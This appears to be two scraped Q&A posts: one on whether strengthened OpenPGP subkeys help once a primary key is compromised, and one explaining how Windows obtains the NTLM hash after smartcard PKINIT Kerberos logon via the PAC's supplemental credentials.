The primary key itself is obviously not strengthened -- all primary key operations (issuing certifications on other keys, managing user IDs, managing subkeys, issuing revocation certificates) are bound to the primary key. If an attacker gets hold of the primary key (for example, by brute-force attacks that might be feasible in future), he will be able to perform all those tasks. Additionally, the primary key has often set the signing capability bit, thus it can also issue valid certifications (in fact, this is default if you create key pairs in GnuPG).

Signing

The subkeys are used for "day-to-day work": signing and encrypting documents. For signatures, an attacker can easily create a new (and automatically trusted) subkey pair when he gets hold of the primary key, thus there is no actual use in creating a stronger subkey (of course, one could check manually which signing key was used, but this is definitely not OpenPGP best practice and standard).

Encryption

For encryption keys, the situation is different -- once a message was encrypted for a subkey, creating new encryption subkeys is of no use. With other words: an attacker will not be able to decrypt old messages encrypted before he got hold of the secret primary key. As soon as he has access to it, he will be able to issue a new encryption key and intercept messages. Implementations of OpenPGP use the newest valid subkey capable of encryption. In fact, you will not be able to read those messages any more (as you don't have access to the new secret key).

But in both cases (signing and encryption subkeys), you are at least able to realize something's wrong, as the attacker will have to distribute the new subkeys. But you won't realize an attack occured before damage may already have happened.

Wrap Up

There is some use, and as creating a new subkey pair is a cheap and easy task, why not just do so. But for a long term solution, consider phasing out your old key and switching to a new key pair instead. Maybe even consider new ECDSA keys already?


How NTLM SSO is preformed on smartcard Kerberos logon? I have been researching kerberos and ntlm for the last couple of days and still got one thing unresolved.
After an interactive logon with kerberos, you will have in the cached credentials both kerberos tickets and ntlm hashes. I figured winlogon/lsass are responsible for calculating the NTHash from the plain password and saving it to lsass memory regardless of the kerberos authentication.
My question is, how the saving of the NTHash is preformed when a smartcard authentication takes place? Of course no plain text password in this case
Thanks, and if i stated wrong info please comment and correct me.

When you do a PKINIT authentication to the KDC an additional field is included in the krbtgt response in the PAC called PAC_CREDENTIAL_INFO. This includes supplemental credentials for your logon such as the NTLM hash and the data is encrypted to the PK (DH) session key. The PAC is stuffed into the TGT where it's unreadable by the client.
The client then requests a service ticket to the workstation, asking for the workstation ticket, using the TGT it just received. KDC obliges, and copies the PAC from the TGT into the service ticket, including the supplemental credential data. The client receives the ticket and can now decrypt the PAC. The client still has the DH session key from earlier, so it decrypts the encrypted supplemental credentials and if it contains the NTLM hash it processes as it normally would if it were a password logon.
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/2f9cae55-350a-423e-a692-1d16659e544a